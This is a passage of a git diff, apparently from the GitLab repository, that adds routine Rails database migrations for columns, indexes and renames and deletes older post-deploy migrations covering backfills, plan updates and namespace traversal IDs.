+ add_column :namespace_settings, :allow_runner_registration_token, :boolean, default: true, null: false
+ end
+end
diff --git a/db/migrate/20221228063845_add_incident_events_to_integrations.rb b/db/migrate/20221228063845_add_incident_events_to_integrations.rb
new file mode 100644
index 00000000000..521ffce0724
--- /dev/null
+++ b/db/migrate/20221228063845_add_incident_events_to_integrations.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+class AddIncidentEventsToIntegrations < Gitlab::Database::Migration[2.1]
+ def change
+ add_column :integrations, :incident_events, :boolean, default: false, null: false
+ end
+end
diff --git a/db/migrate/20221228083452_remove_check_constraint_on_chat_names_on_integration.rb b/db/migrate/20221228083452_remove_check_constraint_on_chat_names_on_integration.rb
new file mode 100644
index 00000000000..6a75bd1badd
--- /dev/null
+++ b/db/migrate/20221228083452_remove_check_constraint_on_chat_names_on_integration.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+class RemoveCheckConstraintOnChatNamesOnIntegration < Gitlab::Database::Migration[2.1]
+ CONSTRAINT_NAME = 'check_2b0a0d0f0f'
+
+ disable_ddl_transaction!
+
+ def up
+ remove_check_constraint(:chat_names, CONSTRAINT_NAME)
+ end
+
+ def down
+ # noop: rollback would not work as we can have records where `integration_id` IS NULL
+ end
+end
diff --git a/db/migrate/20221228161214_rename_appearances_short_title_to_pwa_short_name.rb b/db/migrate/20221228161214_rename_appearances_short_title_to_pwa_short_name.rb
new file mode 100644
index 00000000000..76dfbb56f65
--- /dev/null
+++ b/db/migrate/20221228161214_rename_appearances_short_title_to_pwa_short_name.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+class RenameAppearancesShortTitleToPwaShortName < Gitlab::Database::Migration[2.1]
+ disable_ddl_transaction!
+
+ def up
+ rename_column_concurrently :appearances, :short_title, :pwa_short_name
+ end
+
+ def down
+ undo_rename_column_concurrently :appearances, :short_title, :pwa_short_name
+ end
+end
diff --git a/db/migrate/20230104150600_add_machine_id_to_builds_metadata.rb b/db/migrate/20230104150600_add_machine_id_to_builds_metadata.rb
new file mode 100644
index 00000000000..838ccbff754
--- /dev/null
+++ b/db/migrate/20230104150600_add_machine_id_to_builds_metadata.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+class AddMachineIdToBuildsMetadata < Gitlab::Database::Migration[2.1]
+ enable_lock_retries!
+
+ def change
+ add_column :p_ci_builds_metadata, :runner_machine_id, :bigint
+ end
+end
diff --git a/db/migrate/20230105170414_rename_amount_used_column_on_ci_namespace_monthly_usages_table.rb b/db/migrate/20230105170414_rename_amount_used_column_on_ci_namespace_monthly_usages_table.rb
new file mode 100644
index 00000000000..ff59b1e5987
--- /dev/null
+++ b/db/migrate/20230105170414_rename_amount_used_column_on_ci_namespace_monthly_usages_table.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+class RenameAmountUsedColumnOnCiNamespaceMonthlyUsagesTable < Gitlab::Database::Migration[2.1]
+ enable_lock_retries!
+
+ TRIGGER_NAME = 'sync_namespaces_amount_used_columns'
+ def up
+ rename_column :ci_namespace_monthly_usages, :amount_used, :tmp_amount_used
+ rename_column :ci_namespace_monthly_usages, :new_amount_used, :amount_used
+ rename_column :ci_namespace_monthly_usages, :tmp_amount_used, :new_amount_used
+
+ remove_rename_triggers(:ci_namespace_monthly_usages, TRIGGER_NAME)
+ install_rename_triggers(:ci_namespace_monthly_usages, :amount_used, :new_amount_used, trigger_name: TRIGGER_NAME)
+ end
+
+ def down
+ rename_column :ci_namespace_monthly_usages, :amount_used, :tmp_amount_used
+ rename_column :ci_namespace_monthly_usages, :new_amount_used, :amount_used
+ rename_column :ci_namespace_monthly_usages, :tmp_amount_used, :new_amount_used
+
+ remove_rename_triggers(:ci_namespace_monthly_usages, TRIGGER_NAME)
+ install_rename_triggers(:ci_namespace_monthly_usages, :amount_used, :new_amount_used, trigger_name: TRIGGER_NAME)
+ end
+end
diff --git a/db/migrate/20230106125945_add_user_to_ssh_signatures.rb b/db/migrate/20230106125945_add_user_to_ssh_signatures.rb
new file mode 100644
index 00000000000..9e487287b66
--- /dev/null
+++ b/db/migrate/20230106125945_add_user_to_ssh_signatures.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+class AddUserToSshSignatures < Gitlab::Database::Migration[2.1]
+ def up
+ add_column :ssh_signatures, :user_id, :bigint, if_not_exists: true, null: true
+ end
+
+ def down
+ remove_column :ssh_signatures, :user_id, if_exists: true
+ end
+end
diff --git a/db/migrate/20230106131659_add_fingerprint_to_ssh_signatures.rb b/db/migrate/20230106131659_add_fingerprint_to_ssh_signatures.rb
new file mode 100644
index 00000000000..ba792a1ae43
--- /dev/null
+++ b/db/migrate/20230106131659_add_fingerprint_to_ssh_signatures.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+class AddFingerprintToSshSignatures < Gitlab::Database::Migration[2.1]
+ disable_ddl_transaction!
+
+ def up
+ add_column :ssh_signatures, :key_fingerprint_sha256, :bytea, if_not_exists: true
+ end
+
+ def down
+ remove_column :ssh_signatures, :key_fingerprint_sha256, :bytea, if_exists: true
+ end
+end
diff --git a/db/migrate/20230106142239_add_config_column_to_ci_runner_machines.rb b/db/migrate/20230106142239_add_config_column_to_ci_runner_machines.rb
new file mode 100644
index 00000000000..29fee4d7b56
--- /dev/null
+++ b/db/migrate/20230106142239_add_config_column_to_ci_runner_machines.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+class AddConfigColumnToCiRunnerMachines < Gitlab::Database::Migration[2.1]
+ enable_lock_retries!
+
+ def change
+ add_column :ci_runner_machines, :config, :jsonb, default: {}, null: false
+ end
+end
diff --git a/db/migrate/20230109095159_add_runner_machines_created_at_index.rb b/db/migrate/20230109095159_add_runner_machines_created_at_index.rb
new file mode 100644
index 00000000000..e9ca4851497
--- /dev/null
+++ b/db/migrate/20230109095159_add_runner_machines_created_at_index.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+class AddRunnerMachinesCreatedAtIndex < Gitlab::Database::Migration[2.1]
+ disable_ddl_transaction!
+
+ INDEX_NAME = 'index_ci_runner_machines_on_created_at_and_id_desc'
+
+ def up
+ add_concurrent_index :ci_runner_machines, [:created_at, :id], order: { id: :desc }, name: INDEX_NAME
+ end
+
+ def down
+ remove_concurrent_index_by_name :ci_runner_machines, INDEX_NAME
+ end
+end
diff --git a/db/migrate/20230109121313_add_runner_machines_contacted_at_index.rb b/db/migrate/20230109121313_add_runner_machines_contacted_at_index.rb
new file mode 100644
index 00000000000..667a4309c51
--- /dev/null
+++ b/db/migrate/20230109121313_add_runner_machines_contacted_at_index.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+class AddRunnerMachinesContactedAtIndex < Gitlab::Database::Migration[2.1]
+ disable_ddl_transaction!
+
+ INDEX_NAME = 'index_ci_runner_machines_on_contacted_at_desc_and_id_desc'
+
+ def up
+ add_concurrent_index :ci_runner_machines, [:contacted_at, :id], order: { contacted_at: :desc, id: :desc },
+ name: INDEX_NAME
+ end
+
+ def down
+ remove_concurrent_index_by_name :ci_runner_machines, INDEX_NAME
+ end
+end
diff --git a/db/migrate/20230109215921_add_storage_admin_control_columns_to_plan_limits.rb b/db/migrate/20230109215921_add_storage_admin_control_columns_to_plan_limits.rb
new file mode 100644
index 00000000000..cf4879e4b89
--- /dev/null
+++ b/db/migrate/20230109215921_add_storage_admin_control_columns_to_plan_limits.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+class AddStorageAdminControlColumnsToPlanLimits < Gitlab::Database::Migration[2.1]
+ enable_lock_retries!
+
+ def change
+ add_column(:plan_limits, :enforcement_limit, :integer, default: 0, null: false)
+ add_column(:plan_limits, :notification_limit, :integer, default: 0, null: false)
+ add_column(:plan_limits, :dashboard_limit_enabled_at, :datetime_with_timezone)
+ end
+end
diff --git a/db/migrate/20230110031131_add_uses_legacy_iid_to_test_reports.rb b/db/migrate/20230110031131_add_uses_legacy_iid_to_test_reports.rb
new file mode 100644
index 00000000000..e327a4d43a4
--- /dev/null
+++ b/db/migrate/20230110031131_add_uses_legacy_iid_to_test_reports.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+class AddUsesLegacyIidToTestReports < Gitlab::Database::Migration[2.1]
+ def change
+ add_column :requirements_management_test_reports, :uses_legacy_iid, :boolean, null: false, default: true
+ end
+end
diff --git a/db/migrate/20230111092510_add_migrate_projects_to_bulk_import_entities.rb b/db/migrate/20230111092510_add_migrate_projects_to_bulk_import_entities.rb
new file mode 100644
index 00000000000..d09a796ba5c
--- /dev/null
+++ b/db/migrate/20230111092510_add_migrate_projects_to_bulk_import_entities.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+class AddMigrateProjectsToBulkImportEntities < Gitlab::Database::Migration[2.1]
+ def change
+ add_column :bulk_import_entities, :migrate_projects, :boolean, null: false, default: true
+ end
+end
diff --git a/db/migrate/20230111124512_remove_tmp_index_vulns_on_report_type.rb b/db/migrate/20230111124512_remove_tmp_index_vulns_on_report_type.rb
new file mode 100644
index 00000000000..e1254d237ba
--- /dev/null
+++ b/db/migrate/20230111124512_remove_tmp_index_vulns_on_report_type.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+class RemoveTmpIndexVulnsOnReportType < Gitlab::Database::Migration[2.0]
+ # Temporary index to perform migration removing invalid vulnerabilities
+ INDEX_NAME = 'tmp_idx_vulnerabilities_on_id_where_report_type_7_99'
+
+ REPORT_TYPES = {
+ cluster_image_scanning: 7,
+ custom: 99
+ }
+
+ disable_ddl_transaction!
+
+ def up
+ remove_concurrent_index_by_name :vulnerabilities, INDEX_NAME
+ end
+
+ def down
+ add_concurrent_index :vulnerabilities, :id,
+ where: "report_type IN (#{REPORT_TYPES.values.join(', ')})",
+ name: INDEX_NAME
+ end
+end
diff --git a/db/migrate/20230111132621_unpartition_pm_package_metadata_tables.rb b/db/migrate/20230111132621_unpartition_pm_package_metadata_tables.rb
new file mode 100644
index 00000000000..9fbd04734d3
--- /dev/null
+++ b/db/migrate/20230111132621_unpartition_pm_package_metadata_tables.rb
@@ -0,0 +1,54 @@
+# frozen_string_literal: true
+
+class UnpartitionPmPackageMetadataTables < Gitlab::Database::Migration[2.1]
+ def up
+ return unless Gitlab.dev_or_test_env? || Gitlab.staging?
+
+ drop_table(:pm_package_version_licenses, force: :cascade) # rubocop:disable Migration/DropTable
+ drop_table(:pm_package_versions, force: :cascade) # rubocop:disable Migration/DropTable
+ drop_table(:pm_packages, force: :cascade) # rubocop:disable Migration/DropTable
+
+ create_table :pm_packages do |t|
+ t.integer :purl_type, limit: 2, null: false
+ t.text :name, null: false, limit: 255
+ t.index [:purl_type, :name], name: 'i_pm_packages_purl_type_and_name', unique: true
+ end
+
+ create_table :pm_package_versions do |t|
+ t.references :pm_package,
+ index: false,
+ foreign_key: {
+ to_table: :pm_packages,
+ column: :pm_package_id,
+ name: 'fk_rails_cf94c3e601',
+ on_delete: :cascade
+ }
+ t.text :version, null: false, limit: 255
+ t.index [:pm_package_id, :version], name: 'i_pm_package_versions_on_package_id_and_version', unique: true
+ t.index :pm_package_id, name: 'index_pm_package_versions_on_pm_package_id'
+ end
+
+ create_table :pm_package_version_licenses, primary_key: [:pm_package_version_id, :pm_license_id] do |t|
+ t.references :pm_package_version,
+ index: false,
+ null: false,
+ foreign_key: {
+ to_table: :pm_package_versions,
+ column: :pm_package_version_id,
+ name: 'fk_rails_30ddb7f837',
+ on_delete: :cascade
+ }
+ t.references :pm_license,
+ index: false,
+ null: false,
+ foreign_key: { name: 'fk_rails_7520ea026d', on_delete: :cascade }
+ t.index :pm_license_id, name: 'index_pm_package_version_licenses_on_pm_license_id'
+ t.index :pm_package_version_id, name: 'index_pm_package_version_licenses_on_pm_package_version_id'
+ end
+ end
+
+ # partitioned tables can't be restored because
+ # foreign keys to partitioned tables are not supported by Postgres 11
+ # https://gitlab.com/gitlab-org/gitlab/-/issues/387761
+ def down; end
+end
diff --git a/db/migrate/20230112014822_add_user_index_and_fk_to_ssh_signatures.rb b/db/migrate/20230112014822_add_user_index_and_fk_to_ssh_signatures.rb
new file mode 100644
index 00000000000..31df4b98274
--- /dev/null
+++ b/db/migrate/20230112014822_add_user_index_and_fk_to_ssh_signatures.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+class AddUserIndexAndFkToSshSignatures < Gitlab::Database::Migration[2.1]
+ disable_ddl_transaction!
+
+ INDEX_NAME = 'index_ssh_signatures_on_user_id'
+
+ def up
+ add_concurrent_index :ssh_signatures, :user_id, name: INDEX_NAME
+ add_concurrent_foreign_key :ssh_signatures, :users, column: :user_id, on_delete: :nullify
+ end
+
+ def down
+ with_lock_retries do
+ remove_foreign_key_if_exists :ssh_signatures, column: :user_id
+ end
+
+ remove_concurrent_index_by_name :ssh_signatures, INDEX_NAME
+ end
+end
diff --git a/db/migrate/20230112104253_add_tmp_index_to_ci_build_runner_session.rb b/db/migrate/20230112104253_add_tmp_index_to_ci_build_runner_session.rb
new file mode 100644
index 00000000000..62f202c1ee2
--- /dev/null
+++ b/db/migrate/20230112104253_add_tmp_index_to_ci_build_runner_session.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+class AddTmpIndexToCiBuildRunnerSession < Gitlab::Database::Migration[2.1]
+ disable_ddl_transaction!
+
+ INDEX_NAME = :tmp_index_ci_builds_runner_session_on_partition_id_and_id
+ TABLE_NAME = :ci_builds_runner_session
+
+ def up
+ return unless Gitlab.com?
+
+ add_concurrent_index(
+ TABLE_NAME,
+ [:partition_id, :id],
+ where: 'partition_id = 101',
+ name: INDEX_NAME
+ )
+ end
+
+ def down
+ remove_concurrent_index_by_name(TABLE_NAME, INDEX_NAME)
+ end
+end
diff --git a/db/migrate/20230112104526_add_tmp_index_to_ci_pending_build.rb b/db/migrate/20230112104526_add_tmp_index_to_ci_pending_build.rb
new file mode 100644
index 00000000000..3666e03a8b5
--- /dev/null
+++ b/db/migrate/20230112104526_add_tmp_index_to_ci_pending_build.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+class AddTmpIndexToCiPendingBuild < Gitlab::Database::Migration[2.1]
+ disable_ddl_transaction!
+
+ INDEX_NAME = :tmp_index_ci_pending_builds_on_partition_id_and_id
+ TABLE_NAME = :ci_pending_builds
+
+ def up
+ return unless Gitlab.com?
+
+ add_concurrent_index(
+ TABLE_NAME,
+ [:partition_id, :id],
+ where: 'partition_id = 101',
+ name: INDEX_NAME
+ )
+ end
+
+ def down
+ remove_concurrent_index_by_name(TABLE_NAME, INDEX_NAME)
+ end
+end
diff --git a/db/migrate/20230112104636_add_tmp_index_to_ci_running_build.rb b/db/migrate/20230112104636_add_tmp_index_to_ci_running_build.rb
new file mode 100644
index 00000000000..66c66cc1cd9
--- /dev/null
+++ b/db/migrate/20230112104636_add_tmp_index_to_ci_running_build.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+class AddTmpIndexToCiRunningBuild < Gitlab::Database::Migration[2.1]
+ disable_ddl_transaction!
+
+ INDEX_NAME = :tmp_index_ci_running_builds_on_partition_id_and_id
+ TABLE_NAME = :ci_running_builds
+
+ def up
+ return unless Gitlab.com?
+
+ add_concurrent_index(
+ TABLE_NAME,
+ [:partition_id, :id],
+ where: 'partition_id = 101',
+ name: INDEX_NAME
+ )
+ end
+
+ def down
+ remove_concurrent_index_by_name(TABLE_NAME, INDEX_NAME)
+ end
+end
diff --git a/db/post_migrate/20210302074524_backfill_namespace_statistics_with_wiki_size.rb b/db/post_migrate/20210302074524_backfill_namespace_statistics_with_wiki_size.rb
deleted file mode 100644
index e04f69f4206..00000000000
--- a/db/post_migrate/20210302074524_backfill_namespace_statistics_with_wiki_size.rb
+++ /dev/null
@@ -1,29 +0,0 @@
-# frozen_string_literal: true
-
-class BackfillNamespaceStatisticsWithWikiSize < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
- DELAY_INTERVAL = 2.minutes.to_i
- BATCH_SIZE = 500
- MIGRATION = 'PopulateNamespaceStatistics'
-
- disable_ddl_transaction!
-
- def up
- return unless Gitlab.ee?
-
- groups = exec_query <<~SQL
- SELECT group_wiki_repositories.group_id
- FROM group_wiki_repositories
- SQL
-
- groups.rows.flatten.in_groups_of(BATCH_SIZE, false).each_with_index do |group_ids, index|
- migrate_in(index * DELAY_INTERVAL, MIGRATION, [group_ids, [:wiki_size]])
- end
- end
-
- def down
- # No-op
- end
-end
diff --git a/db/post_migrate/20210302150310_schedule_migrate_pages_to_zip_storage.rb b/db/post_migrate/20210302150310_schedule_migrate_pages_to_zip_storage.rb
deleted file mode 100644
index 87c7d373329..00000000000
--- a/db/post_migrate/20210302150310_schedule_migrate_pages_to_zip_storage.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-# frozen_string_literal: true
-
-class ScheduleMigratePagesToZipStorage < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
-
- MIGRATION = 'MigratePagesToZipStorage'
- BATCH_SIZE = 10
- BATCH_TIME = 5.minutes
-
- disable_ddl_transaction!
-
- def up
- # no-op
- end
-end
diff --git a/db/post_migrate/20210303064112_add_not_null_constraints_to_gitlab_subscriptions_namespace_id.rb b/db/post_migrate/20210303064112_add_not_null_constraints_to_gitlab_subscriptions_namespace_id.rb
deleted file mode 100644
index f1d2d80a0f3..00000000000
--- a/db/post_migrate/20210303064112_add_not_null_constraints_to_gitlab_subscriptions_namespace_id.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-# frozen_string_literal: true
-
-class AddNotNullConstraintsToGitlabSubscriptionsNamespaceId < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
-
- disable_ddl_transaction!
-
- def up
- # This will add the `NOT NULL` constraint WITHOUT validating it
- add_not_null_constraint :gitlab_subscriptions, :namespace_id, validate: false
- end
-
- def down
- # Down is required as `add_not_null_constraint` is not reversible
- remove_not_null_constraint :gitlab_subscriptions, :namespace_id
- end
-end
diff --git a/db/post_migrate/20210303064142_cleanup_gitlab_subscriptions_with_null_namespace_id.rb b/db/post_migrate/20210303064142_cleanup_gitlab_subscriptions_with_null_namespace_id.rb
deleted file mode 100644
index 2250d4c0c8a..00000000000
--- a/db/post_migrate/20210303064142_cleanup_gitlab_subscriptions_with_null_namespace_id.rb
+++ /dev/null
@@ -1,24 +0,0 @@
-# frozen_string_literal: true
-
-class CleanupGitlabSubscriptionsWithNullNamespaceId < ActiveRecord::Migration[6.0]
- disable_ddl_transaction!
-
- class GitlabSubscription < ActiveRecord::Base
- self.table_name = 'gitlab_subscriptions'
- end
-
- def up
- # As of today, there is 0 records whose namespace_id is null on GitLab.com.
- # And we expect no such records on non GitLab.com instance.
- # So this post-migration cleanup script is just for extra safe.
- #
- # This will be fast on GitLab.com, because:
- # - gitlab_subscriptions.count=5021850
- # - namespace_id is indexed, so the query is pretty fast. Try on database-lab, this uses 5.931 ms
- GitlabSubscription.where(namespace_id: nil).delete_all
- end
-
- def down
- # no-op : can't go back to `NULL` without first dropping the `NOT NULL` constraint
- end
-end
diff --git a/db/post_migrate/20210303121224_update_gitlab_subscriptions_start_at_post_eoa.rb b/db/post_migrate/20210303121224_update_gitlab_subscriptions_start_at_post_eoa.rb
deleted file mode 100644
index 69d99704469..00000000000
--- a/db/post_migrate/20210303121224_update_gitlab_subscriptions_start_at_post_eoa.rb
+++ /dev/null
@@ -1,54 +0,0 @@
-# frozen_string_literal: true
-
-class UpdateGitlabSubscriptionsStartAtPostEoa < ActiveRecord::Migration[6.0]
- UPDATE_BATCH_SIZE = 100
-
- disable_ddl_transaction!
-
- class Plan < ActiveRecord::Base
- self.table_name = 'plans'
- self.inheritance_column = :_type_disabled
- end
-
- class GitlabSubscription < ActiveRecord::Base
- include EachBatch
-
- self.table_name = 'gitlab_subscriptions'
- self.inheritance_column = :_type_disabled
-
- EOA_ROLLOUT_DATE = '2021-01-26'
-
- scope :with_plan, -> (from_plan) do
- where("start_date >= ? AND hosted_plan_id = ?", EOA_ROLLOUT_DATE, from_plan.id)
- end
- end
-
- def up
- return unless Gitlab.com?
-
- silver_plan = Plan.find_by(name: 'silver')
- gold_plan = Plan.find_by(name: 'gold')
- premium_plan = Plan.find_by(name: 'premium')
- ultimate_plan = Plan.find_by(name: 'ultimate')
-
- # Silver to Premium
- update_hosted_plan_for_subscription(from_plan: silver_plan, to_plan: premium_plan)
-
- # Gold to Ultimate
- update_hosted_plan_for_subscription(from_plan: gold_plan, to_plan: ultimate_plan)
- end
-
- def down
- # no-op
- end
-
- private
-
- def update_hosted_plan_for_subscription(from_plan:, to_plan:)
- return unless from_plan && to_plan
-
- GitlabSubscription.with_plan(from_plan).each_batch(of: UPDATE_BATCH_SIZE) do |batch|
- batch.update_all(hosted_plan_id: to_plan.id)
- end
- end
-end
diff --git a/db/post_migrate/20210303165302_cleanup_cluster_tokens_with_null_name.rb b/db/post_migrate/20210303165302_cleanup_cluster_tokens_with_null_name.rb
deleted file mode 100644
index 6553036792c..00000000000
--- a/db/post_migrate/20210303165302_cleanup_cluster_tokens_with_null_name.rb
+++ /dev/null
@@ -1,25 +0,0 @@
-# frozen_string_literal: true
-
-class CleanupClusterTokensWithNullName < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- BATCH_SIZE = 1000
-
- disable_ddl_transaction!
-
- class AgentToken < ActiveRecord::Base
- include EachBatch
-
- self.table_name = 'cluster_agent_tokens'
- end
-
- def up
- AgentToken.each_batch(of: BATCH_SIZE) do |relation|
- relation.where(name: nil).update_all("name = 'agent-token-' || id")
- end
- end
-
- def down
- # no-op : can't go back to `NULL` without first dropping the `NOT NULL` constraint
- end
-end
diff --git a/db/post_migrate/20210304133508_schedule_remove_duplicate_vulnerabilities_findings2.rb b/db/post_migrate/20210304133508_schedule_remove_duplicate_vulnerabilities_findings2.rb
deleted file mode 100644
index 78574921fea..00000000000
--- a/db/post_migrate/20210304133508_schedule_remove_duplicate_vulnerabilities_findings2.rb
+++ /dev/null
@@ -1,32 +0,0 @@
-# frozen_string_literal: true
-
-class ScheduleRemoveDuplicateVulnerabilitiesFindings2 < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
-
- MIGRATION = 'RemoveDuplicateVulnerabilitiesFindings'
- DELAY_INTERVAL = 2.minutes.to_i
- BATCH_SIZE = 5_000
-
- disable_ddl_transaction!
-
- class VulnerabilitiesFinding < ActiveRecord::Base
- include ::EachBatch
- self.table_name = "vulnerability_occurrences"
- end
-
- def up
- say "Scheduling #{MIGRATION} jobs"
- queue_background_migration_jobs_by_range_at_intervals(
- VulnerabilitiesFinding,
- MIGRATION,
- DELAY_INTERVAL,
- batch_size: BATCH_SIZE
- )
- end
-
- def down
- # no-op
- end
-end
diff --git a/db/post_migrate/20210306121310_backfill_partitioned_web_hook_logs.rb b/db/post_migrate/20210306121310_backfill_partitioned_web_hook_logs.rb
deleted file mode 100644
index 3a37d8a8510..00000000000
--- a/db/post_migrate/20210306121310_backfill_partitioned_web_hook_logs.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-# frozen_string_literal: true
-
-class BackfillPartitionedWebHookLogs < ActiveRecord::Migration[6.0]
- include Gitlab::Database::PartitioningMigrationHelpers
-
- DOWNTIME = false
-
- disable_ddl_transaction!
-
- def up
- enqueue_partitioning_data_migration :web_hook_logs
- end
-
- def down
- cleanup_partitioning_data_migration :web_hook_logs
- end
-end
diff --git a/db/post_migrate/20210311045138_set_traversal_ids_for_gitlab_org_group_staging.rb b/db/post_migrate/20210311045138_set_traversal_ids_for_gitlab_org_group_staging.rb
deleted file mode 100644
index bcf872ded54..00000000000
--- a/db/post_migrate/20210311045138_set_traversal_ids_for_gitlab_org_group_staging.rb
+++ /dev/null
@@ -1,88 +0,0 @@
-# frozen_string_literal: true
-
-class SetTraversalIdsForGitlabOrgGroupStaging < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
-
- def up
- return unless Gitlab.staging?
-
- # namespace ID 9970 is gitlab-org on staging.
- with_lock_retries do
- execute(<<~SQL)
- UPDATE
- namespaces
- SET
- traversal_ids = cte.traversal_ids
- FROM
- (
- WITH RECURSIVE cte(id, traversal_ids, cycle) AS (
- VALUES
- (9970, ARRAY[9970], false)
- UNION ALL
- SELECT
- n.id,
- cte.traversal_ids || n.id,
- n.id = ANY(cte.traversal_ids)
- FROM
- namespaces n,
- cte
- WHERE
- n.parent_id = cte.id
- AND NOT cycle
- )
- SELECT
- id,
- traversal_ids
- FROM
- cte FOR
- UPDATE
- ) as cte
- WHERE
- namespaces.id = cte.id
- AND namespaces.traversal_ids <> cte.traversal_ids
- SQL
- end
- end
-
- def down
- return unless Gitlab.staging?
-
- # namespace ID 9970 is gitlab-org on staging.
- with_lock_retries do
- execute(<<~SQL)
- UPDATE
- namespaces
- SET
- traversal_ids = '{}'
- FROM
- (
- WITH RECURSIVE cte(id, traversal_ids, cycle) AS (
- VALUES
- (9970, ARRAY[9970], false)
- UNION ALL
- SELECT
- n.id,
- cte.traversal_ids || n.id,
- n.id = ANY(cte.traversal_ids)
- FROM
- namespaces n,
- cte
- WHERE
- n.parent_id = cte.id
- AND NOT cycle
- )
- SELECT
- id,
- traversal_ids
- FROM
- cte FOR
- UPDATE
- ) as cte
- WHERE
- namespaces.id = cte.id
- SQL
- end
- end
-end
diff --git a/db/post_migrate/20210311045139_set_traversal_ids_for_gitlab_org_group_com.rb b/db/post_migrate/20210311045139_set_traversal_ids_for_gitlab_org_group_com.rb
deleted file mode 100644
index 8cef1f1cc2b..00000000000
--- a/db/post_migrate/20210311045139_set_traversal_ids_for_gitlab_org_group_com.rb
+++ /dev/null
@@ -1,88 +0,0 @@
-# frozen_string_literal: true
-
-class SetTraversalIdsForGitlabOrgGroupCom < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
-
- def up
- return unless Gitlab.com?
-
- # namespace ID 9970 is gitlab-org on .com
- with_lock_retries do
- execute(<<~SQL)
- UPDATE
- namespaces
- SET
- traversal_ids = cte.traversal_ids
- FROM
- (
- WITH RECURSIVE cte(id, traversal_ids, cycle) AS (
- VALUES
- (9970, ARRAY[9970], false)
- UNION ALL
- SELECT
- n.id,
- cte.traversal_ids || n.id,
- n.id = ANY(cte.traversal_ids)
- FROM
- namespaces n,
- cte
- WHERE
- n.parent_id = cte.id
- AND NOT cycle
- )
- SELECT
- id,
- traversal_ids
- FROM
- cte FOR
- UPDATE
- ) as cte
- WHERE
- namespaces.id = cte.id
- AND namespaces.traversal_ids <> cte.traversal_ids
- SQL
- end
- end
-
- def down
- return unless Gitlab.com?
-
- # namespace ID 9970 is gitlab-org on .com
- with_lock_retries do
- execute(<<~SQL)
- UPDATE
- namespaces
- SET
- traversal_ids = '{}'
- FROM
- (
- WITH RECURSIVE cte(id, traversal_ids, cycle) AS (
- VALUES
- (9970, ARRAY[9970], false)
- UNION ALL
- SELECT
- n.id,
- cte.traversal_ids || n.id,
- n.id = ANY(cte.traversal_ids)
- FROM
- namespaces n,
- cte
- WHERE
- n.parent_id = cte.id
- AND NOT cycle
- )
- SELECT
- id,
- traversal_ids
- FROM
- cte FOR
- UPDATE
- ) as cte
- WHERE
- namespaces.id = cte.id
- SQL
- end
- end
-end
diff --git a/db/post_migrate/20210311093723_add_partial_index_on_ci_pipelines_by_cancelable_status_and_users.rb b/db/post_migrate/20210311093723_add_partial_index_on_ci_pipelines_by_cancelable_status_and_users.rb
deleted file mode 100644
index 176548be6e6..00000000000
--- a/db/post_migrate/20210311093723_add_partial_index_on_ci_pipelines_by_cancelable_status_and_users.rb
+++ /dev/null
@@ -1,30 +0,0 @@
-# frozen_string_literal: true
-
-class AddPartialIndexOnCiPipelinesByCancelableStatusAndUsers < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
- INDEX_NAME = 'index_ci_pipelines_on_user_id_and_id_and_cancelable_status'
- INDEX_FILTER_CONDITION = <<~SQL
- ((status)::text = ANY (
- ARRAY[
- ('running'::character varying)::text,
- ('waiting_for_resource'::character varying)::text,
- ('preparing'::character varying)::text,
- ('pending'::character varying)::text,
- ('created'::character varying)::text,
- ('scheduled'::character varying)::text
- ]
- ))
- SQL
-
- disable_ddl_transaction!
-
- def up
- add_concurrent_index :ci_pipelines, [:user_id, :id], where: INDEX_FILTER_CONDITION, name: INDEX_NAME
- end
-
- def down
- remove_concurrent_index_by_name :ci_pipelines, INDEX_NAME
- end
-end
diff --git a/db/post_migrate/20210311120155_backfill_events_id_for_bigint_conversion.rb b/db/post_migrate/20210311120155_backfill_events_id_for_bigint_conversion.rb
deleted file mode 100644
index 5d31cdb05e6..00000000000
--- a/db/post_migrate/20210311120155_backfill_events_id_for_bigint_conversion.rb
+++ /dev/null
@@ -1,31 +0,0 @@
-# frozen_string_literal: true
-
-class BackfillEventsIdForBigintConversion < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- disable_ddl_transaction!
-
- DOWNTIME = false
-
- def up
- return unless should_run?
-
- backfill_conversion_of_integer_to_bigint :events, :id, batch_size: 15000, sub_batch_size: 100
- end
-
- def down
- return unless should_run?
-
- Gitlab::Database::BackgroundMigration::BatchedMigration
- .where(job_class_name: 'CopyColumnUsingBackgroundMigrationJob')
- .where(table_name: 'events', column_name: 'id')
- .where(job_arguments: Gitlab::Json.dump(%w[id id_convert_to_bigint]))
- .delete_all
- end
-
- private
-
- def should_run?
- Gitlab.dev_or_test_env? || Gitlab.com?
- end
-end
